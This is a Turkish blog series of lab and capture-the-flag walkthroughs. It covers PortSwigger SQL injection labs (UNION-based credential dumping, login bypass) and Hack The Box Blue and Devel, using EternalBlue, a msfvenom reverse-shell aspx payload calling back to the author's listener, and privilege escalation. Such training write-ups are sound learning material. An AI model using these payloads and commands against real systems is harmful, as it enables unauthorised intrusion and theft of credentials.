Labı çözmek için, NULL değerler içeren ek bir satır döndüren bir SQL enjeksiyonu UNION saldırısı gerçekleştirerek sorgu tarafından döndürülen cevaplara bakarak sütün sayısını belirleyeceğiz.

PAYLOAD: ‘ UNION SELECT NULL–

NULL sayımızı hata almayana kadar arttırmamız gerekiyor. Hata almadığımızda gerçek sütun sayısına erişmiş olacağız.

Artık hata almıyoruz. Demek ki verilerin çekildiği tabloda 3 kolon bulunuyor.

Not: Sorgularda NULL kullanmamızın nedeni, tahminde bulunduğumuz kolonların veri tipini bilmiyor olmamızdır. NULL, her veri türüne dönüştürülebilir olduğundan, NULL kullanılması sütun sayısı doğru olduğunda payloadın başarılı olma olasılığını en üst düzeye çıkarır.

ORACLE’ da geçerli bir tablo belirtme şartı bulunmaktadır. Oracle’da bu amaçla kullanılabilecek DUAL adlı yerleşik bir tablo vardır. Bu nedenle Oracle’a eklenen sorguların şöyle görünmesi gerekir:

‘ UNION SELECT NULL FROM DUAL–

MySQL’ de devam eden kısımları görünmez yapmak için — yerine # işareti kullanılmaktadır. Veritabanına özgü farklılıklar için aşağıdaki linke bulunan ipuçlarına göz atabilirsiniz.

https://portswigger.net/web-security/sql-injection/cheat-sheet

SQL enjeksiyon UNION saldırısında işimize yarayacak veri türüne sahip sütunlar bulma

Aslında bu UNION SELECT sorgularımızın bir nedeni vardı. Sayısını tespit ettiğimiz kolonlarda işimize yarayan verileri görüntülemek. Ama bunu için o kolonların veri türünü biliyor olmalıyız zira integer bir kolonda string değer döndüremeyiz…

Sütun sayısını belirledikten sonra, her sütunda sırayla bir string verinin bulunduğu UNION SELECT payloadı ile istek gerçekleştirerek hangi kolonların string veri döndürdüğünü belirleyebiliriz.

Örneğin, sorgu dört sütunu cevap olarak döndürüyorsa şunları denemeniz gerekir:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Bir sütunun veri türü string değilse değilse, enjekte edilen sorgu aşağıdaki gibi bir veritabanı hatasına sebeb olur:

Conversion failed when converting the varchar value 'a' to data type int.

Bir hata oluşmazsa ve uygulamanın yanıtı, enjekte edilen string değeri de dahil ederek bir cevap döndürüyorsa, ilgili sütun string verilerini almak için uygundur.

Lab: SQL injection UNION attack, finding a column containing text

Öncelikle 3 kolon bulunduğunu tespit ediyoruz.

Ardından ilk kolonun string veri döndürmediğini görüyoruz.

2. kolona string veri giridğimizde hata almadık. Demek ki 2. kolon string veriler içermektedir.

3. kolon ise string verilen içeren bir kolon değildir.

Lab bizden ‘a’ yerine ‘4t4bXq’ değerini yazdırmamızı istiyor.

İşimize Yarayacak Veriler Almak için Bir SQL Enjeksiyonu UNION saldırısı kullanma

Orijinal sorgu tarafından döndürülen sütun sayısını belirlediğinizde ve hangi sütunların string veriler içerdiğini bulduğunuzda, diğer verilere erişebilecek bir konumdasınız.

Mesela:

  • Orijinal sorgu, her ikisi de string verilerini tutabilen iki sütun döndürsün.
  • Enjeksiyon noktası, WHERE yan tümcesi içinde tırnak içine alınmış bir string olsun.
  • Veritabanı, username ve password sütunlarına sahip users adlı bir tablo içersin.

Bu durumda, aşağıdaki girdiyi göndererek kullanıcılar tablosunun içeriğini alabilirsiniz:

' UNION SELECT username, password FROM users--

Tabii ki, bu saldırıyı gerçekleştirmek için gereken önemli bilgiler, username ve password adı verilen iki sütuna sahip users adlı bir tablo olmasıdır. Bu bilgi olmadan tabloların ve sütunların adlarını tahmin etmeye çalışabilirsiniz. Aslında, tüm modern veritabanları, içerdiği tablo ve sütunları belirlemek için veritabanı yapısını incelemenin yollarını sunar.

Lab: SQL injection UNION attack, retrieving data from other tables

Öncelikle kolon sayısını tespit ediyoruz. İki kolon bulunan bir tablomuz var.

Ardından string veriler içeren kolonları tespit ediyoruz.

İki kolonun da string olduğunu görüyoruz. Lab’ın bilgilendirme kısmındaki The database contains a different table called users, with columns called username and password. bilgisinin ışığında aşağıdaki payloadı yazıyoruz.

UNION SELECT username,password FROM users--

Administrator bilgileri ile uygulamaya giriş yaptıktan sonra Lab çözülmüş olacak.

Tek Bir Sütunda Birden Çok Değer Alma

Önceki örnekte iki sütün dönüyordu, ancak bazen sorgu yalnızca tek bir string sütun döndürdürebilir.

Değerleri bir araya getirerek, ideal olarak birleştirilmiş değerleri ayırt etmenizi sağlayan uygun bir ayırıcı işaret dahil ederek, bu tek sütun içinde birden çok değeri kolayca alabilirsiniz.

Örneğin, Oracle’da:

' UNION SELECT username || '~' || password FROM users--

Çift boru|| Oracle’da string birleştirme operatörüdür.

~ karakteri ile kullanıcı adı ve parola değerlerini arasına gelerek ayırt etmemize yardımcı olacak.

2 kolonu olduğunu ve sadece 2. kolonun string olduğunu gördük. Ayrıca gönderdiğim sorgulardan da MySQL veritabanı olduğunu farkettik.

https://portswigger.net/web-security/sql-injection/examining-the-database adresinden hangi veritabanı için hangi sitring birleştirme yönteminin olduğuna bakabilirsiniz.

Bu nedenlerden ötürü aşağıdaki payloadı yazıyoruz ve yanıtları inceliyoruz.

'UNION SELECT NULL,CONCAT(username,'~',password) FROM users--

Administrator bilgileri ile uygulamaya giriş yaptıktan sonra Lab çözülmüş olacak.

Okuduğunuz için teşekkür ederim 🙂

PortSwigger SQL Enjeksiyonu — Giriş

SQL Enjeksiyonu Nedir?

SQL enjeksiyonu, bir saldırganın bir uygulamanın veritabanına yaptığı sorgulara müdahale etmesini sağlayan bir web güvenlik açığıdır. Genellikle bir saldırganın normalde erişemediği verileri görüntülemesine izin verir. Bu, diğer kullanıcılara ait veriler veya uygulamanın kendisinin erişebileceği diğer veriler olabilir. Bir saldırgan bu verileri değiştirebilir veya silerek uygulamanın içeriğinde veya davranışında kalıcı değişikliklere neden olabilir.

Başarılı bir SQL enjeksiyonu saldırısının etkisi nedir?

Başarılı bir SQL enjeksiyon saldırısı, şifreler, kredi kartı bilgileri veya kişisel kullanıcı bilgileri gibi hassas verilere yetkisiz erişime neden olabilir. Son yıllarda birçok yüksek profilli veri ihlali, SQL enjeksiyonu saldırıları ile gerçekleştirilmiştir ve bu da itibar hasarına ve yasal para cezalarına yol açmıştır.

SQL Enjeksiyonu ile Gizli Veriler Elde Etme

Farklı kategorilerdeki ürünleri görüntüleyen bir alışveriş uygulamasını düşünün. Kullanıcının “Hediyeler” kategorisini tıkladığında tarayıcısının aşağıdaki URL’ e istek gerçekleştirdiğini varsayalım.

https://insecure-website.com/products?category=Gifts

Bu istek, uygulamanın veritabanından ilgili ürünlerin ayrıntılarını almak için aşağıdaki SQL sorgusu oluşturmasına neden olur:

SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1

  • tüm bilgileri getir (*)
  • “products” tabloasundan getir
  • kategorisi “Gifts” olan ürünleri getir
  • yayınlanmış ürünleri getir

Eğer bu web sitesinde SQL enjeksiyonu saldırısı için herhangi bir önlem bulunmuyorsa saldırgan aşağıdaki gibi bir sorgu ile yayınlanmış ve yayınlanmamış tüm ürünlerin ekrana dökülmesini sağlar.

SELECT * FROM products WHERE category = ‘Gifts’‘ AND released = 1

Ve SQL Enjeksiyonu zafiyetinin tespitinde kullanılan en önemli payload ile databasede bulunan tüm ürünleri ekrana dökebiliriz.

SELECT * FROM products WHERE category = ‘Gifts’ OR 1=1–‘ AND released = 1

Değiştirilen sorgu, kategorinin “Gifts” veya 1’in 1′ e eşit olma durumunun doğruluğuna göre tüm öğeleri döndürür. 1 = 1 her zaman doğru olduğundan, sorgu tüm öğeleri döndürmüş olacaktır.

Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Aşağıdaki uygulamada Food & Drink kategorisine tıkladığımda aşağıdaki istek oluşmaktadır.

https://ID.web-security-academy.net/filter?category=Food+%26+Drink

Buradaki SQL sorgusu şu şekilde olabilir:

SELECT * FROM table_name WHERE category=Food&Drink

Eğer sitede SQL Enjeksiyonu zafiyeti varsa aşağıdaki payloadı URL’ e eklediğimizde tüm ürünler listelenecektir.

Payload: ‘ OR 1=1 —

SELECT * FROM table_name WHERE category=Food&Drink’ OR 1=1 —

SQL Enjeksiyonu ile Uygulama Mantığını Değiştirme

SQL Enjeksiyonuna karşı savunmasız bir uygulamaya giriş işlemi gerçekleştirilirken kullanıcı adı ve parola bilgileri girildiğinde aşağıdaki SQL sorgusu oluşmaktadır:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

Eğer bu sorgunun sonucu doğru ise oturum açma işlemi başarılı olacaktır. Doğru değilse hata dönecektir. Eğer bir saldırgan parola bilgisi olmaksızın SQL sorgusunun doğru olmasını sağlayacak uygun payloadlar kullanırsa oturum açma işlemi sonucun doğru olmasına istinaden başarılı olacaktır.

Örneğin:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

Bu şekilde uygulamaya administrator kullanıcı bilgileri ile giriş yapmış oluruz çünkü sorgunun devamı olan ve giriş için gerekli olan password bilgisini ‘– işaretleri ile görünmez hale getirdik.

Lab: SQL injection vulnerability allowing login bypass

Labda bulunan giriş panelinde yukarıdaki gibi bir sorgu olduğunu düşünerek username girdi alanına administrator’– payloadını girerek istek gerçekleştirdiğimizde uygulamaya erişim sağlamış olacağız. Password için random değer girebilirsiniz.

Okuduğunuz için teşekkür ederim 🙂

Hack the Box — Blue

Bugün HTB Retired makinelerinden olan Blue’ nun çözümünü paylaşacağım. Makine yukarıda da görüldüğü üzere kolay zorlukta bir makinedir.

Bilgi Toplama / User Flag

Öncelikle hedef sistem üzerinde bulunan açık portları tespit etmek için nmap taraması ile testime başlıyorum.

nmap -Pn -n -sC -sV 10.10.10.40 -oN blue.nmap

  • -Pn → Tüm ana bilgisayarlara çevrimiçi davranın — ana makine keşfini atlayın.
  • -n → DNS çözümlemesi yapma.
  • -sC → default scriptleri çalıştır.
  • -sV → Portlar üzerinde çalışan servis ve versiyon hakkında bilgi verir.
  • -oN → nmap formatında çıktıyı “blue.nmap” adında dosyaya kaydeder.

Ardından aşağıdaki nmap komutu ile sistemde bulunan zafiyetler için tarama gerçekleştiriyoruz.

nmap -A --script vuln 10.10.10.40

-A → İşletim sistemi algılama, sürüm algılama, komut dosyası tarama ve traceroute’u etkinleştirmek için

–script vuln →zafiyet taraması için

Sistem üzerinde “Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)” zafiyetinin bulunduğunu görüyorum. Ardından metasploitten ilgili zafiyet ile alakalı exploit araştırıyorum.

msfconsole -q

search ms17-010

-q → Metasploitin hızlı bir şekilde başlatılmasını sağlar.

search → yanına yazılan zafiyet ile alakalı exploitleri getirir.

3. sıradaki exploiti kullanmak için:

use exploit/windows/smb/ms17_010_eternalblue ya da use 3

RHOST’ u hedef makinemize ayarlıyoruz.

RHOSTS 10.10.10.40

Ardından exploit komutu ile exploitimizi çalıştırıyoruz sisteme erişim sağlıyoruz.

User Flag:

user.txt → C:\Users\haris\Desktop\user.txt

Root Flag:

root.txt → C:\Users\Administrator\Desktop\root.txt

Okuduğunuz için teşekkür ederim. 🙂

Hack the Box — Devel

Bugün HTB Retired makinelerinden olan Devel’ in çözümünü paylaşacağım. Makine yukarıda da görüldüğü üzere kolay zorlukta bir makinedir.

Bilgi Toplama / User Flag

Öncelikle hedef sistem üzerinde bulunan açık portları tespit etmek için nmap taraması ile testime başlıyorum.

nmap -Pn -n -sC -sV 10.10.10.5 -oN devel.nmap

  • -Pn → Tüm ana bilgisayarlara çevrimiçi davranın — ana makine keşfini atlayın.
  • -n → DNS çözümlemesi yapma.
  • -sC → default scriptleri çalıştır.
  • -sV → Portlar üzerinde çalışan servis ve versiyon hakkında bilgi verir.
  • -oN → nmap formatında çıktıyı “devel.nmap” adında dosyaya kaydeder.

Tarama sonuçlarını incelediğimde FTP portuna Anonymous olarak giriş yapabildiğimi görüyorum. Ayrıca 80 portunda IIS çalıştığı bilgisine de erişmiş oluyorum. Uygulamayı tarayıcı üzerinden görüntülediğimde boş bir IIS sayfası ile karşılaşıyorum.

FTP portuna aşağıdaki bilgilerle giriş sağlıyorum.

Kullanıcı adı: anonymous

Parola: Boş(Parola Yok)

ls komutu ile dosya ve klasörleri listelediğimde uygulamanın sayfalarını görüyorum. Burdan şunu çıkarıyorum: Buraya yükleyeceğim dosyalar sayfa olarak uygulamaya ekleniyor.

Aşağıdaki komut ile uygun bir shell araştırıyorum.

msfvenom --list payloads | grep windows

Makineyle aynı subnette olduğum için reverse tcp kullanmaya karar verdim.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=4445 -f aspx > deneme.aspx

  • -p → Payload seçimi için kullandım.
  • LHOST → Exploitin bağlantı kuracağı IP adresi için kullandım. (Kendi IP adresim)
  • LPORT → Exploitin bağlantı kurarken kullanacağı port için kullandım.
  • -f → Format belirtmek için kullandım.

Oluşturduğumuz dosyayı şimdi sisteme yüklemem gerekiyor. Tekrar FTP bağlantısı kurup “put” komutuyla dosyayı sisteme yüklüyorum.

put deneme.aspx

Ardından msfconsole -q komutu ile hızlı bir şekilde msfconsole’ u başlatıp, multi handler modülünü seçiyorum.

use multi/handler

Oluşturduğum shelldeki payloadı burada da set ediyorum. Ardından LHOST, LPORT düzenlemelerini yapıyorum.

set payload windows/meterpreter/reverse_tcp

set LHOST 10.10.14.33

set LPORT 4445

show options

Ardından expolit komutuyla dinlememi başlattıktan sonra uygulama üzerinden oluşturduğum dosyaya gittiğim anda shell almış oluyorum.

Tarayıcı → http://10.10.10.5/deneme.aspx

Ardından babis kullanıcısına erişmek istediğimde “Access is denied” hatası alıyorum.

Var olan sessionım ile hangi exploiti kullanarak yetki yükseltebileceğimi araştırıyorum. Bunun için öncelikle background komutuyla msfconsole’ a geri dönüyorum. Aşağıdaki modülü kullanıyorum. Session olarak 1. sessionda olduğum için 1 veriyorum.

use post/multi/recon/local_exploit_suggester

En üsttekini seçip yine session, LHOST LPORT ayarlarımı yapıyorum. İlki çalışmayınca aşağıdaki ekran görüntüsünde de görüldüğü gibi ikincisini deniyorum aynı işlemleri tekrarlayarak.

windows/local/ms10_015_kitrap0d

Ancak sessionımın öldüğü ile ilgili hata alıyorum. Tekrar aynı işlemleri yapmam gerekiyor. O yüzden tekrar /exploit/multi/handler’ a gidiyorum. Buradaki ayarlamalarım tamam olduğu için direkt dinlememi açıyorum ve tarayıcıdan sayfayı yeniliyorum ve bağlantım geliyor.

Session nedeniyle tamamlayamadığım işlemleri tekrarlıyorum ve ardından payloadı ilk başta oluşturduğumuz şekilde set ediyorum.

set payload windows/meterpreter/reverse_tcp

Payloadı da ayarladıktan sonra exploit diyorum ve artık NT AUTHORITY\SYSTEM haklarıyla sisteme erişim sağlıyorum.

user.txt-> c:\Users\babis\Desktop

root.txt -> c:\Users\Administrator\Desktop

Okuduğunuz için teşekkür ederim. 🙂